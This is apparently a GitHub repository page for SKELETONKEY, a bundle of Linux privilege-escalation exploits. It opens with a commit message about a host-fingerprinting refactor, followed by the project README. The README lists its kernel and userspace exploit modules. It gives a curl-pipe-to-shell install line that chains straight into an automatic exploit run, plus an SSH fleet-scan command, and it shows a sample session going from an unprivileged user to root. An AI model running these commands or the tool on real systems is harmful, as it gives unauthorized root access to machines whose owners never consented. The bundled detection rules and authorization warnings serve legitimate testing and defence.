leviathan
4f30d00a1c
Adds core/host.{h,c} — a single struct skeletonkey_host populated once
at startup and handed to every module callback via ctx->host. Replaces
the per-detect uname / /etc/os-release / sysctl / userns-fork-probe
calls scattered across the corpus with O(1) cached lookups, and gives
the dispatcher one consistent view of the host.
What's in the fingerprint:
- Identity: kernel_version (parsed from uname.release), arch (machine),
nodename, distro_id / distro_version_id / distro_pretty (parsed once
from /etc/os-release).
- Process state: euid, real_uid (defeats userns illusion via
/proc/self/uid_map), egid, username, is_root, is_ssh_session.
- Platform family: is_linux, is_debian_family, is_rpm_family,
is_arch_family, is_suse_family (file-existence checks once).
- Capability gates (Linux): unprivileged_userns_allowed (live
fork+unshare probe), apparmor_restrict_userns,
unprivileged_bpf_disabled, kpti_enabled, kernel_lockdown_active,
selinux_enforcing, yama_ptrace_restricted.
- System services: has_systemd, has_dbus_system.
Wiring:
- core/module.h forward-declares struct skeletonkey_host and adds the
pointer to skeletonkey_ctx. Modules opt-in by including
../../core/host.h.
- core/host.c is fully POD (no heap pointers) — uses a single file-
static instance, returns a stable pointer on every call. Lazily
populated on first skeletonkey_host_get().
- skeletonkey.c calls skeletonkey_host_get() at main() entry, stores
in ctx.host before any register_*() runs.
- cmd_auto's bespoke distro-fingerprint code (was an inline
read_os_release helper) is replaced with skeletonkey_host_print_banner(),
which emits a two-line banner of identity + capability gates.
Migrations:
- dirtydecrypt: kernel_version_current() -> ctx->host->kernel.
- fragnesia: removed local fg_userns_allowed() fork-probe in favour of
ctx->host->unprivileged_userns_allowed (no per-scan fork). Also
pulls kernel from ctx->host. The PRECOND_FAIL message now notes
whether AppArmor restriction is on.
- pack2theroot: access('/etc/debian_version') -> ctx->host->is_debian_family;
also short-circuits when ctx->host->has_dbus_system is false (saves
the GLib g_bus_get_sync attempt on systems without system D-Bus).
- overlayfs: replaced the inline is_ubuntu() /etc/os-release parser
with ctx->host->distro_id comparison. Local helper preserved for
symmetry / standalone builds.
Documentation: docs/ARCHITECTURE.md gains a 'Host fingerprint'
section describing the struct, the opt-in include pattern, and
example detect() usage. ROADMAP --auto accuracy log notes the
landing and flags remaining modules as an incremental follow-up.
Build verification:
- macOS (local): make clean && make -> Mach-O x86_64, 31 modules,
banner prints with distro=?/? (no /etc/os-release).
- Linux (docker gcc:latest + libglib2.0-dev): make clean && make ->
ELF 64-bit, 31 modules. Banner prints with kernel + distro=debian/13
+ 7 capability gates. dirtydecrypt correctly says 'predates the
rxgk code added in 7.0'; fragnesia PRECOND_FAILs with
'(host fingerprint)' annotation; pack2theroot PRECOND_FAILs on
no-DBus; overlayfs reports 'not Ubuntu (distro=debian)'.
SKELETONKEY
One curated binary. 28 verified Linux LPE exploits, 2016 → 2026 (+3 ported-but-unverified). Detection rules in the box. One command picks the safest one and runs it.
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
&& skeletonkey --auto --i-know
⚠️ Authorized testing only. SKELETONKEY runs real exploits. By using it you assert you have explicit authorization to test the target system. See
docs/ETHICS.md.
Why use this
Most Linux privesc tooling is broken in one of three ways:
linux-exploit-suggester/linpeas— tell you what might work, run nothingauto-root-exploit/kernelpop— bundle exploits but ship no detection signatures and went stale years ago- Per-CVE PoC repos — one author, one distro, abandoned within months
SKELETONKEY is one binary, actively maintained, with detection rules for every CVE in the bundle — same project for red and blue teams.
Who it's for
| Audience | What you get |
|---|---|
| Red team / pentesters | One tested binary. --auto ranks vulnerable modules by safety and runs the safest. Honest scope reporting — never claims root it didn't actually get. |
| Sysadmins | skeletonkey --scan (no sudo needed) tells you which boxes still need patching. Fleet-scan tool included. JSON output for CI gates. |
| Blue team / SOC | Auditd + sigma + yara + falco rules for every CVE. --detect-rules --format=auditd | sudo tee … ships SIEM coverage in one command. |
| CTF / training | Reproducible LPE environment with public CVEs across a 10-year timeline. Each module documents the bug, the trigger, and the fix. |
Corpus at a glance
28 verified modules spanning the 2016 → 2026 LPE timeline, plus
3 ported-but-unverified modules (dirtydecrypt, fragnesia,
pack2theroot — see note below):
| Tier | Count | What it means |
|---|---|---|
| 🟢 Full chain | 14 | Lands root (or its canonical capability) end-to-end. No per-kernel offsets needed. |
| 🟡 Primitive | 14 | Fires the kernel primitive + grooms the slab + records a witness. Default returns EXPLOIT_FAIL honestly. Pass --full-chain to engage the shared modprobe_path finisher (needs offsets — see docs/OFFSETS.md). |
| ⚪ Ported, unverified | 3 | dirtydecrypt, fragnesia, pack2theroot. Built and registered with version-pinned detect() (Linux 7.0 / 7.0.9 / PackageKit 1.3.5 respectively), but the exploit bodies are not yet validated end-to-end. --auto auto-enables --active to confirm empirically on top of the version verdict. Excluded from the 28-module verified counts above. |
🟢 Modules that land root on a vulnerable host: copy_fail family ×5 · dirty_pipe · dirty_cow · pwnkit · overlayfs (CVE-2021-3493) · overlayfs_setuid (CVE-2023-0386) · cgroup_release_agent · ptrace_traceme · sudoedit_editor · entrybleed (KASLR leak primitive)
🟡 Modules with opt-in --full-chain:
af_packet · af_packet2 · af_unix_gc · cls_route4 · fuse_legacy ·
nf_tables · nft_set_uaf · nft_fwd_dup · nft_payload ·
netfilter_xtcompat · stackrot · sudo_samedit · sequoia · vmwgfx
⚪ Ported-but-unverified (not in the counts above):
dirtydecrypt (CVE-2026-31635) · fragnesia (CVE-2026-46300) ·
pack2theroot (CVE-2026-41651) — ported from public PoCs, exploit
bodies not yet VM-validated. All three have version-pinned detect():
dirtydecrypt against mainline fix commit a2567217 in Linux 7.0;
fragnesia against mainline 7.0.9 (older Debian-stable branches still
unfixed); pack2theroot against PackageKit fix release 1.3.5
(commit 76cfb675), version read from the daemon over D-Bus.
--auto auto-enables --active to confirm empirically on top.
See CVES.md for per-module CVE, kernel range, and
detection status.
Quickstart
# Install (x86_64 / arm64; checksum-verified)
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh
# What's this box vulnerable to? (no sudo)
skeletonkey --scan
# Pick the safest LPE and run it
skeletonkey --auto --i-know
# Deploy detection rules (needs sudo to write into /etc/audit/rules.d/)
skeletonkey --detect-rules --format=auditd \
| sudo tee /etc/audit/rules.d/99-skeletonkey.rules
# Fleet scan — many hosts via SSH, aggregated JSON for SIEM
./tools/skeletonkey-fleet-scan.sh --binary skeletonkey \
--ssh-key ~/.ssh/id_rsa hosts.txt
SKELETONKEY runs as a normal unprivileged user — that's the point.
--scan, --audit, --exploit, and --detect-rules all work without
sudo. Only --mitigate and rule-file installation write root-owned
paths.
Example: unprivileged → root
$ id
uid=1000(kara) gid=1000(kara) groups=1000(kara)
$ skeletonkey --auto --i-know
[*] auto: host=demo distro=ubuntu/24.04 kernel=5.15.0-56-generic arch=x86_64
[*] auto: active probes enabled — brief /tmp file touches and fork-isolated namespace probes
[*] auto: scanning 31 modules for vulnerabilities...
[+] auto: dirty_pipe VULNERABLE (safety rank 90)
[+] auto: cgroup_release_agent VULNERABLE (safety rank 98)
[+] auto: pwnkit VULNERABLE (safety rank 100)
[ ] auto: copy_fail patched or not applicable
[ ] auto: nf_tables precondition not met
...
[*] auto: scan summary — 3 vulnerable, 21 patched/n.a., 7 precondition-fail, 0 indeterminate
[*] auto: 3 vulnerable modules found. Safest is 'pwnkit' (rank 100).
[*] auto: launching --exploit pwnkit...
[+] pwnkit: writing gconv-modules cache + payload.so...
[+] pwnkit: execve(pkexec) with NULL argv + crafted envp...
# id
uid=0(root) gid=0(root) groups=0(root)
The safety ranking goes: structural escapes (no kernel state touched) → page-cache writes → userspace cred-races → kernel primitives → kernel races (least predictable). The goal is to never crash a production box looking for root.
How it works
Each CVE (or tightly-related family) is a module under modules/.
Modules export a standard interface (detect / exploit / mitigate / cleanup) plus metadata (kernel range, detection rule text). The
top-level binary dispatches per command:
--scanwalks every module'sdetect()against the running host--exploit <name> --i-knowruns the named module's exploit (the--i-knowflag is the authorization gate)--auto --i-knowdoes the scan, ranks by safety, runs the safest--detect-rules --format=<auditd|sigma|yara|falco>emits the embedded rule corpus--mitigate <name>/--cleanup <name>apply / undo temporary mitigations (module-dependent — most kernel modules say "upgrade")--dump-offsetsreads/proc/kallsyms+/boot/System.mapand emits a ready-to-paste C entry for the--full-chainoffset table
See docs/ARCHITECTURE.md for the
module-loader design.
The verified-vs-claimed bar
Most public PoC repos hardcode offsets for one kernel build and
silently break elsewhere. SKELETONKEY refuses to ship fabricated
offsets. The shared --full-chain finisher only returns
EXPLOIT_OK after a setuid bash sentinel file actually appears;
otherwise modules return EXPLOIT_FAIL with a diagnostic. Operators
populate the offset table once per target kernel via
skeletonkey --dump-offsets and either set env vars or upstream the
entry via PR (CONTRIBUTING.md).
Build from source
git clone https://github.com/KaraZajac/SKELETONKEY.git
cd SKELETONKEY
make
./skeletonkey --version
Builds clean with gcc or clang on any modern Linux. macOS dev builds also compile (modules with Linux-only headers stub out gracefully).
Status
v0.5.0 cut 2026-05-17. 28 verified modules, plus 3
ported-but-unverified (dirtydecrypt, fragnesia, pack2theroot)
added since the cut. All 31 build clean on Debian 13 (kernel 6.12)
and refuse cleanly on patched hosts. --auto now auto-enables
--active and runs each detect() in a fork-isolated child so one
crashing probe cannot tear down the scan. Empirical end-to-end
validation on a vulnerable-target VM matrix is the next roadmap item;
until then, the corpus is best understood as "compiles + detects +
structurally correct + honest on failure" — and the three ported
modules have not been run against a vulnerable target at all.
See ROADMAP.md for the next planned modules and
infrastructure work.
Contributing
PRs welcome for: kernel offsets (run --dump-offsets on a target
kernel, paste into core/offsets.c), new modules, detection rules,
and CVE-status corrections. See CONTRIBUTING.md.
Acknowledgments
Each module credits the original CVE reporter and PoC author in its
NOTICE.md. SKELETONKEY is the bundling and bookkeeping layer;
the research credit belongs to the people who found the bugs.
License
MIT — see LICENSE.